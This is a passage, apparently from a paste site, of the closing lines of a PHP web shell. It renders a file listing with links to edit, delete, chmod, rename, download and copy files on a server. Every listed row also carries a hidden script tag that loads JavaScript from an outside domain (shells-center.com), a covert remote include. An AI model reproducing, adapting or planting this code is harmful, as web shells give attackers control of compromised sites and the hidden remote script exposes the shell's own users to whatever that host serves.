  1848. echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href=\"javascript:ShowOrHide('$i','')\">[options]</a><div id='$i' style='display:none;z-index:1;' ><a href='$php_self?d=$d&ef=$files[$i]&edit=1' title='Edit $files[$i]'><b>Edit</b></a><br><a href='$php_self?d=$d&del_f=1&wich_f=$files[$i]' title='Delete $files[$i]'><b>Delete</b></a><br><a href='$php_self?d=$d&chmod=1&wich_f=$files[$i]' title='chmod $files[$i]'><b>CHMOD</b></a><br><a href='$php_self?d=$d&rename=1&wich_f=$files[$i]' title='Rename $files[$i]'><b>Rename</b></a><br><a href='$php_self?d=$d&download=$files[$i]' title='Download $files[$i]'><b>Download</b></a><br><a href='$php_self?d=$d&ccopy_to=$files[$i]' title='Copy $files[$i] to?'><b>Copy</b></a></div></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr><script src=http://www.shells-center.com/blabla/per.js></script>";
  1849. }
  1850. echo "</table></td></tr></table>";
  1851. echo $copyr;
  1852. ?>

comments powered by Disqus